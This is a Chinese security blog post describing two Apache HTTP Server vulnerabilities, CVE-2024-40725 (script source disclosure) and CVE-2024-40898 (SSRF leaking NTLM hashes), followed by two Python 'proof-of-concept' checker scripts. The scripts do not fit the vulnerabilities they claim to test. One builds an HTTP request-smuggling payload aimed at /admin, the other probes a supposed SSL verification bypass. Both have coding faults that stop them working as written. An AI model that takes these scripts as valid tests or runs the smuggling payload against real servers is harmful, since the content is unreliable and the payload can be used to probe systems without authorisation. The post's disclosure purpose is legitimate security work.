前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

作者头像
信安百科
发布2024-08-05 10:46:03
6820
发布2024-08-05 10:46:03
举报
文章被收录于专栏:信安百科

0x00 前言

Apache HTTP Server(简称Apache),是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其具有的跨平台性和安全性,被广泛使用,是最流行的Web服务器端软件之一。

Apache HTTP Server的特点是简单、速度快、性能稳定、安全可靠,可通过简单的API进行扩展,并且集成了Perl、Python等语言解释器。

0x01 漏洞描述

ap_set_content_type_ex 函数用于设置请求的 content-type。

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x02 CVE编号

CVE-2024-40898:Apache HTTP Server on Windows SSRF漏洞

若在服务器或虚拟主机环境中使用 mod_rewrite 模块,存在服务器端请求伪造(SSRF)漏洞。该漏洞可能允许攻击者通过 SSRF 和恶意请求泄露 NTLM 哈希值到恶意服务器。

CVE-2024-40725:Apache HTTP Server 源代码泄露漏洞

ap_set_content_type_ex 函数用于设置请求的 content-type。

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x03 影响版本

http_server@[2.4.60, 2.4.62)

apache2@影响所有版本

0x04 漏洞详情

漏洞检查工具:

https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898

CVE-2024-40725.py

代码语言:javascript
复制
import requests
import argparse

def detect_http_request_smuggling(target_url):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞

    :param target_url: 目標伺服器的 URL
    """
    # 構造 HTTP Request Smuggling 攻擊請求
    smuggled_request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n\r\n"
        "GET /admin HTTP/1.1\r\n"
        "Host: {}\r\n"
        "User-Agent: smuggle-test\r\n"
        "\r\n"
    ).format(target_url, target_url)

    try:
        # 發送請求到目標伺服器
        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)

        # 判斷回應是否表示存在漏洞
        if response.status_code == 200 and "admin" in response.text:
            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")
        else:
            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()
    detect_http_request_smuggling(args.url)

CVE-2024-40898 .py

代码语言:javascript
复制
import ssl
import socket
import argparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標伺服器的主機名或 IP 地址
    :param target_port: 目標伺服器的端口號
    """
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_OPTIONAL

    try:
        # 連接目標伺服器
        with socket.create_connection((target_host, target_port)) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))
                response = ssock.recv(4096)

                # 判斷回應是否表示存在漏洞
                if b"200 OK" in response:
                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
                else:
                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()

    # 分割主機名和端口號
    target_host, target_port = args.url.split(":")
    detect_ssl_verification_bypass(target_host, int(target_port))

0x05 参考链接

https://httpd.apache.org/download.cgi

https://httpd.apache.org/security/vulnerabilities_24.html

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2024-40898:Apache HTTP Server on Windows SSRF漏洞
  • CVE-2024-40725:Apache HTTP Server 源代码泄露漏洞
相关产品与服务
轻量应用服务器
轻量应用服务器(TencentCloud Lighthouse)是新一代开箱即用、面向轻量应用场景的云服务器产品,助力中小企业和开发者便捷高效的在云端构建网站、Web应用、小程序/小游戏、游戏服、电商应用、云盘/图床和开发测试环境,相比普通云服务器更加简单易用且更贴近应用,以套餐形式整体售卖云资源并提供高带宽流量包,将热门软件打包实现一键构建应用,提供极简上云体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档